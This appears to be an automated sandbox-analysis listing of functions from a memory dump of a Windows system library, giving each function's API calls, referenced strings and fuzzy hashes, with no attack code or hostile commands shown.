Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: InitOpenStringUnicode
String ID: @$AutoDownload$DisableStoreApps$\Registry\Machine\SOFTWARE\Policies\Microsoft\WindowsStore
API String ID: 3946626324-1446860424
Opcode ID: ed4c3b7777faefb9fcbae66d740632419c7f0121ab5d5b15343cfdf37e0d21ae
Instruction ID: abc0eb322b8caebcb90ef6a7cba1d2824ec27bd95ddf97b4e2e90587cb4fc2cb
Opcode Fuzzy Hash: ed4c3b7777faefb9fcbae66d740632419c7f0121ab5d5b15343cfdf37e0d21ae
Instruction Fuzzy Hash: 5F312CB5E0521DEFDB11CF99C880ADEBBF8FB49719F10857AE505A6600DB309A458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C024120, Relevance: 13.9, APIs: 9, Instructions: 444memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?,?,00000000,?,?), ref: 6C02429E
memmove.1105(?,?,?,?,00000000,?,?,00000000,?,?), ref: 6C02430D
memmove.1105(?,?,?,?,00000000,?,?,00000000,?,?), ref: 6C02438E

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: memmove$AllocateHeap
String ID:
API String ID: 1771830547-0
Opcode ID: 232b76a8e4c3b3c3369e27f780e4f7b99baa16f44fca5a17d609bf1eee5c6381
Instruction ID: 6d0e8c2117797da8d18edf5c6edcec2e88d5b46be03600038ef6beff7c682410
Opcode Fuzzy Hash: 232b76a8e4c3b3c3369e27f780e4f7b99baa16f44fca5a17d609bf1eee5c6381
Instruction Fuzzy Hash: A3F18C706083119BC714CF9AC480B6AB7F1FF89708F55492EF995CBA90E738D985CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6C034D3B, Relevance: 13.6, APIs: 9, Instructions: 131nativeCOMMON

Download Yara Rule

APIs

memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6C034D77
RtlRunOnceExecuteOnce.1105(6C0F86B0,6C035690,00000000,00000000,00000000,00000000,00000024), ref: 6C034D9E
ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6C034DE9
memcmp.1105(00000000,6BFE5138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6C034E26
RtlNtStatusToDosError.1105(00000000,6C0F86B0,6C035690,00000000,00000000,00000000,00000000,00000024), ref: 6C076C6B

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Once$ControlErrorExecuteStatusTracememcmpmemset
String ID:
API String ID: 1949686928-0
Opcode ID: bab95ef11eff49262f6dd753fe69e0d2035d7a3c5f653464b84db09be5b285e1
Instruction ID: da280026342916f08d445c5589418080731d82b6fe8779275cc8761825f9b7b4
Opcode Fuzzy Hash: bab95ef11eff49262f6dd753fe69e0d2035d7a3c5f653464b84db09be5b285e1
Instruction Fuzzy Hash: B541E675640328AFEB21CF55CC80F9ABBF9EB05318F0441A9E9499BB80D775ED44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C034BAD, Relevance: 13.6, APIs: 9, Instructions: 131memorynativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6C0F8504,6C0F5338,00000000,6C0F5320), ref: 6C034BF9
memset.1105(?,00000000,00000078,6C0F8504,6C0F5338,00000000,6C0F5320), ref: 6C034C17
ZwTraceControl.1105(0000001E,00000000,00000018,?,00000078,?,6C0F5338,00000000,6C0F5320), ref: 6C034C5E
RtlReleaseSRWLockExclusive.1105(6C0F8504,C0000017,?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6C0F5338,00000000,6C0F5320), ref: 6C034C9C
RtlSetLastWin32Error.1105(00000000,6C0F8504,C0000017,?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6C0F5338,00000000,6C0F5320), ref: 6C034CCD
RtlFreeHeap.1105(?,00000000,?,0000001E,00000000,00000018,?,00000078,?,6C0F5338,00000000,6C0F5320), ref: 6C076784
RtlAllocateHeap.1105(?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6C0F5338,00000000,6C0F5320), ref: 6C07679A

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocateControlErrorFreeLastReleaseTraceWin32memset
String ID:
API String ID: 375855687-0
Opcode ID: 6d670971ab954f0b63621d30f565e84fb46d0a5f671f8de7ea99e79728957a24
Instruction ID: 4256f6c1d82d6bcfadaaf7d2ac0b1d5adb71deafe579eb4633d968acd2459f47
Opcode Fuzzy Hash: 6d670971ab954f0b63621d30f565e84fb46d0a5f671f8de7ea99e79728957a24
Instruction Fuzzy Hash: AB41A732A40629ABCB21DF68C940FDE77F4EF45744F0101A5E908ABB40D775EE84CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6C02C182, Relevance: 13.6, APIs: 9, Instructions: 104COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,?,?,6C0CC9F8,000000FE), ref: 6C02C1D7
RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6C0CC9F8,000000FE), ref: 6C02C1F3
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6C0CC9F8,000000FE), ref: 6C02C23A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6C0CC9F8,000000FE), ref: 6C02C26C
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6C0CC9F8,000000FE), ref: 6C02C27D

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireCurrentServiceSession
String ID:
API String ID: 4254861812-0
Opcode ID: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction ID: a70275817f8ee6b304a027d0a308bd7b0df765e55d375996da6a05345f251459
Opcode Fuzzy Hash: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction Fuzzy Hash: 94311471A05686BAE708EBB4C480BD9F7E8BF42208F54425AC51C47B01DB79BA4DCBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C03DE9E, Relevance: 13.6, APIs: 9, Instructions: 79memorynativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,6C003A82,?,?,?,?,?,00000001,00000000,?,?), ref: 6C03DEB5
RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,00000000,?,?,6C003A82,?,?,?,?,?,00000001,00000000,?), ref: 6C03DEBE

Part of subcall function 6C022280: RtlDllShutdownInProgress.1105(00000000), ref: 6C0222BA
Part of subcall function 6C022280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6C0223A3

RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,00000000,?,?,6C003A82,?,?,?,?,?,00000001,00000000,?), ref: 6C03DECE
ZwUnsubscribeWnfStateChange.1105(?,?,?,00000000,?,00000000,?,?,6C003A82,?,?,?,?,?,00000001,00000000), ref: 6C03DEEE
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6C003A82,?,?,?,?,?,00000001), ref: 6C03DF0A
RtlFreeHeap.1105(?,00000000,?,?,?,?,?,00000000,?,00000000,?,?,6C003A82,?), ref: 6C03DF25
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,6C003A82,?,?,?,?,?,00000001), ref: 6C03DF33
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?,?,6C003A82,?,?,?,?,?,00000001,00000000), ref: 6C03DF40
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,?,00000000,?,00000000,?,?,6C003A82,?), ref: 6C07B46E

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap$AlertChangeCurrentProgressServiceSessionShutdownStateThreadUnsubscribeWait
String ID:
API String ID: 3923771875-0
Opcode ID: 7bef7ca4e355d0f59363a8473fa9cb1031c0f27692d9a04114c0fa5c195e7ce5
Instruction ID: 91d731a6e57d11989f6a0021f1930aa18667e00a6d008bebc5f07de40f9da934
Opcode Fuzzy Hash: 7bef7ca4e355d0f59363a8473fa9cb1031c0f27692d9a04114c0fa5c195e7ce5
Instruction Fuzzy Hash: 5521CC71214751AFC7219B69CC84F96B7F8EF4232CF044669E4098BFA0DB34F849CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C0BEAE9, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 178nativeCOMMON

Download Yara Rule

APIs

memset.1105(?,00000000,000000AA,6C0F66C0,0000EEEE), ref: 6C0BEB42
RtlInitUnicodeString.1105(?,DefaultFallback,?,6C0F66C0,0000EEEE), ref: 6C0BEB87

Part of subcall function 6C00F018: RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6C00F05B
Part of subcall function 6C00F018: ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6C00F07A
Part of subcall function 6C00F018: memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6C00F0AB
Part of subcall function 6C00F018: RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6C00F0CB

RtlInitUnicodeString.1105(?,?,00000001,?,?,?,?,DefaultFallback,?,6C0F66C0,0000EEEE), ref: 6C0BEBEA
ZwEnumerateValueKey.1105(?,00000000,00000001,?,00000200,?,00000001,?,?,?,?,DefaultFallback,?,6C0F66C0,0000EEEE), ref: 6C0BECB1
RtlInitUnicodeString.1105(?,?,?,00000000,00000001,?,00000200,?,00000001,?,?,?,?,DefaultFallback,?,6C0F66C0), ref: 6C0BED04
RtlCompareUnicodeStrings.1105(?,?,?,00000000,00000001,?,?,?,00000000,00000001,?,00000200,?,00000001,?,?), ref: 6C0BED27

Strings

DefaultFallback, xrefs: 6C0BEB7B

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$InitString$HeapValue$AllocateCompareEnumerateFreeQueryStringsmemcpymemset
String ID: DefaultFallback
API String ID: 634882612-3328677554
Opcode ID: 51266a759c6cc2b04d97fcdf8461eedc67aad44ac90e422b311121367a8eb703
Instruction ID: 36ff0ecb5c9e7bc56c0dff2843389949eb78e522cb7fda9cb828d668d2494337
Opcode Fuzzy Hash: 51266a759c6cc2b04d97fcdf8461eedc67aad44ac90e422b311121367a8eb703
Instruction Fuzzy Hash: 37612C719022299BEB61CB15CC88FDEB7F9BB05304F1042E6D819B3650DB71AE85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6C0B23E3, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

RtlCompareMemory.1105(-00000010,6BFE6C58,00000008,?,-00000018,?,?,?,6C0C4BD7), ref: 6C0B2524
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000010,6BFE6C58,00000008,?,-00000018,?,?,?,6C0C4BD7), ref: 6C0B2554
DbgPrint.1105(HEAP: ,-00000010,6BFE6C58,00000008,?,-00000018,?,?,?,6C0C4BD7), ref: 6C0B2561
DbgPrint.1105(Heap block at %p modified at %p past requested size of %Ix,-00000018,?,?,-00000010,6BFE6C58,00000008,?,-00000018,?,?,?,6C0C4BD7), ref: 6C0B2574

Strings

Heap block at %p modified at %p past requested size of %Ix, xrefs: 6C0B256F
HEAP: , xrefs: 6C0B255C
HEAP[%wZ]: , xrefs: 6C0B254F

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CompareMemory
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 216965414-3815128232
Opcode ID: 1ef23115df52eed55792ef0934e4caf2d9ebceab3b76987555e21c90006b1617
Instruction ID: 9f195e318ab178212355d0126b5a90b0f461f656787f71142b0f5d50735c28e2
Opcode Fuzzy Hash: 1ef23115df52eed55792ef0934e4caf2d9ebceab3b76987555e21c90006b1617
Instruction Fuzzy Hash: 675149B4100250CAE320CE1AC8487B6F7E1EB4A749F914859E8E19BE85D73BD887DB20

Uniqueness

Uniqueness Score: -1.00%

Function 6C091570, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 6C0916FA: ZwQueryWnfStateNameInformation.1105(6BFEFB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?,6C0915A3,?,00000568), ref: 6C091718
Part of subcall function 6C0916FA: ZwUpdateWnfStateData.1105(6BFEFB74,00000000,00000000,00000000,00000000,00000000,00000000,6BFEFB74,00000001,00000000,00000568,00000004,?,?,00000000), ref: 6C09172D
Part of subcall function 6C0916FA: EtwEventWriteNoRegistration.1105(6BFEFB7C,?,00000000,00000000,6BFEFB74,00000001,00000000,00000568,00000004,?,?,00000000,?,?,?,?), ref: 6C09174B

ZwQuerySystemInformation.1105(00000073,?,00000008,00000000,?,00000568), ref: 6C0915B6

Part of subcall function 6C049860: LdrInitializeThunk.NTDLL(6C0915BB,00000073,?,00000008,00000000,?,00000568), ref: 6C04986A

Part of subcall function 6C09176C: ZwOpenEvent.1105(00000568,00100001,?,?,00000000), ref: 6C0917B5
Part of subcall function 6C09176C: ZwWaitForSingleObject.1105(00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6C0917E1
Part of subcall function 6C09176C: ZwClose.1105(00000568,00000568,00000000,?,00000568,00100001,?,?,00000000), ref: 6C0917EB

RtlInitUnicodeString.1105(?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6C0915EC
memset.1105(?,00000000,0000002C,?,\WindowsErrorReportingServicePort,00000073,?,00000008,00000000,?,00000568), ref: 6C0915F8
ZwAlpcConnectPort.1105(?,?,00000018,?,00020000,?,00000000,00000000,00000000,00000000,?), ref: 6C091673
ZwAlpcSendWaitReceivePort.1105(?,00020000,?,00000000,?,00000568,00000000,?,?,?,00000018,?,00020000,?,00000000,00000000), ref: 6C0916B0
ZwClose.1105(00000000,?,00000568), ref: 6C0916E3

Strings

\WindowsErrorReportingServicePort, xrefs: 6C0915E3

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AlpcCloseEventInformationPortQueryStateWait$ConnectDataInitInitializeNameObjectOpenReceiveRegistrationSendSingleStringSystemThunkUnicodeUpdateWritememset
String ID: \WindowsErrorReportingServicePort
API String ID: 360723211-589754893
Opcode ID: f6b5e7f6524fa488fec40ccc32fc8a1a4be93f5e8417144ddfec6db430e727d6
Instruction ID: 5bc025dd97f47c7df9989fb6ce7ddf1030452774097eae5ffcbd28887471c4c7
Opcode Fuzzy Hash: f6b5e7f6524fa488fec40ccc32fc8a1a4be93f5e8417144ddfec6db430e727d6
Instruction Fuzzy Hash: 72416DB2E0261CABDB11CFA4D880BEEBBFDAF04714F141129E914AB690D7309D04DB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C01DD80, Relevance: 12.3, APIs: 8, Instructions: 337nativeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(6C0F8654,6C0517F0,00000000), ref: 6C01DDCE
ZwQueryVirtualMemory.1105(000000FF,000000FE,00000006,?,0000000C,00000000,6C0517F0,00000000), ref: 6C01DE98
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000,6C0517F0,00000000), ref: 6C01DEE8
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF,000000FE,00000006,?,0000000C,00000000), ref: 6C01DF0D
RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,00000000,00000001,?,00000000,00000000,?,00000001,?,00000000,00000000,?,000000FF), ref: 6C01DF46

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: HeaderImage$AcquireLockMemoryQuerySharedVirtual
String ID:
API String ID: 114269737-0
Opcode ID: 871323703cba4a9646c6bbbbe9d9e2f6118057495ea2b6472c3ac1dffe0b5406
Instruction ID: 129ea8b43b9815c52808ce7b5d84718d4a1e380484282a8b65898c90d9384c6c
Opcode Fuzzy Hash: 871323703cba4a9646c6bbbbe9d9e2f6118057495ea2b6472c3ac1dffe0b5406
Instruction Fuzzy Hash: E1C1B370A053068FDB15CF99C840BAEF7F6AF84318F24866DE4649BE80D770E941CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6C0C3518, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 55COMMON

Download Yara Rule

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,00000000,?,?,6C05FC67), ref: 6C0C354D
DbgPrint.1105(HEAP: ,00000000,?,?,6C05FC67), ref: 6C0C355A
DbgPrint.1105(May not destroy the process heap at %p,?,00000000,?,?,6C05FC67), ref: 6C0C3566

Strings

RtlDestroyHeap, xrefs: 6C0C3571
HEAP: , xrefs: 6C0C3555
May not destroy the process heap at %p, xrefs: 6C0C3561
HEAP[%wZ]: , xrefs: 6C0C3548

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $May not destroy the process heap at %p$RtlDestroyHeap
API String ID: 3558298466-4256168463
Opcode ID: 17eaea2288e465cd643e0c530deab0a16314ab1defb12a68a364aad9686ab5f5
Instruction ID: 1da88481798931d522fdfccb5b667c7b8afd408b4e0e419f21d09f39c46a429e
Opcode Fuzzy Hash: 17eaea2288e465cd643e0c530deab0a16314ab1defb12a68a364aad9686ab5f5
Instruction Fuzzy Hash: DE012632321604EFC710DB68C444BFA73E8EB49B18F108455F4059BB51DB35F945C666

Uniqueness

Uniqueness Score: -1.00%

Function 6C00C600, Relevance: 12.2, APIs: 8, Instructions: 225memorynativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeStringEx.1105(?,?,?,?,?), ref: 6C00C639
ZwQueryValueKey.1105(?,?,00000002,?,00000400,?,?,?,?,?,?), ref: 6C00C665
RtlFreeHeap.1105(?,00000000,00000002,?,?,00000002,00000000,?,?,?,?), ref: 6C077A15
RtlAllocateHeap.1105(?,?,?,?,?,?,?,?), ref: 6C077A43
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?,?), ref: 6C077A65
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6C077A8A
RtlUnicodeStringToInteger.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6C077B52
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,?,?,?), ref: 6C077BB1

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeQueryStringUnicodeValue$AllocateInitIntegermemcpy
String ID:
API String ID: 3015855070-0
Opcode ID: 9db0b7e50bb6cc60fb37e3ebcba170e23e72a20cdae6f89ded06570a3cf3721a
Instruction ID: aec7a19e7eec83bb2419a2dca09f3ec21a32613b6a102bdf71b5bd7b5f7048f0
Opcode Fuzzy Hash: 9db0b7e50bb6cc60fb37e3ebcba170e23e72a20cdae6f89ded06570a3cf3721a
Instruction Fuzzy Hash: 408183756492019BDB2ACF1CC880B6B73E9FB85398F154929ED54DBA40E330ED44CBB6

Uniqueness

Uniqueness Score: -1.00%

Function 6C005050, Relevance: 12.1, APIs: 8, Instructions: 133memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6C005096
RtlFreeHeap.1105(?,00000000,00000000,00000000,?), ref: 6C060C80

Part of subcall function 6C026E30: memset.1105(01000000,00000000,?,?,00000024,00000000,?), ref: 6C026F17

RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6C005128
RtlEnterCriticalSection.1105(6C0F79A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6C005136
RtlLeaveCriticalSection.1105(6C0F79A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6C005164
ZwClose.1105(?,6C0F79A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000), ref: 6C005179
RtlFreeHeap.1105(?,00000000,?,?,6C0F79A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000), ref: 6C00518A
RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,?,00000000,?), ref: 6C060C3E

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$CriticalSection$AllocateCloseEnterLeavememset
String ID:
API String ID: 1968905909-0
Opcode ID: 79756b4516791043aee60f69b6deacce1e54f1f83ac554dd5a1cc92cc2e4eff1
Instruction ID: 28851063d402ee7b9995b8eb392d9f0002c71bb17e7ac5234ac123134d5bf653
Opcode Fuzzy Hash: 79756b4516791043aee60f69b6deacce1e54f1f83ac554dd5a1cc92cc2e4eff1
Instruction Fuzzy Hash: 94412639648342ABE310DF29C840BAAB7E4AF44718F110A29FC9587F81D734EC45C7DA

Uniqueness

Uniqueness Score: -1.00%

Function 6C03513A, Relevance: 10.8, APIs: 7, Instructions: 258timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,-00000054,6C0F86CC,?,000000FF,?,000000A0,?), ref: 6C035234

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 411efc1d7deb9a6bf0286b82acf3495b2043a75b43a85b2c834eb85411307af5
Instruction ID: 207c961b7f2ac3376e8c7cc5fc77bd0b382237c59cc212ffe4ed753cd7cb4f0c
Opcode Fuzzy Hash: 411efc1d7deb9a6bf0286b82acf3495b2043a75b43a85b2c834eb85411307af5
Instruction Fuzzy Hash: F0C13F745093818FD358CF28C480B5ABBF1BF89308F148A6EF8998B762D771E845CB56

Uniqueness

Uniqueness Score: -1.00%

Function 6C0BD4E1, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 223memoryCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,00000000,00000001,00000000,?,?,00000000,00000000,6C0171B4,6C0171B4,?,C000000D,?,?,?,?), ref: 6C0BD699
RtlCultureNameToLCID.1105(?,6C0171B4,?,00000000,00000001,00000000,?,?,00000000,00000000,6C0171B4,6C0171B4,?,C000000D,?,?), ref: 6C0BD6A6
RtlLCIDToCultureName.1105(6C0171B4,?,00000001,00000000,?), ref: 6C0BD6ED
_wcsicmp.1105(00000000,00000000,6C0171B4,?,00000001,00000000,?), ref: 6C0BD729
RtlFreeHeap.1105(?,00000000,00000000,00000001,00000000,?,?,00000000,00000000,6C0171B4,6C0171B4,?,C000000D,?,?,?), ref: 6C0BD751

Strings

MUI, xrefs: 6C0BD694, 6C0BD725

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CultureName$FreeHeapInitStringUnicode_wcsicmp
String ID: MUI
API String ID: 3981842732-1339004836
Opcode ID: e4190bdba769db170bdf03e4438b82029291753f772159210f9cf24315aaed2f
Instruction ID: 97151cf1016cf2d52ecd05d074fd2ec81f066a0740554a33a5a368e2958e1231
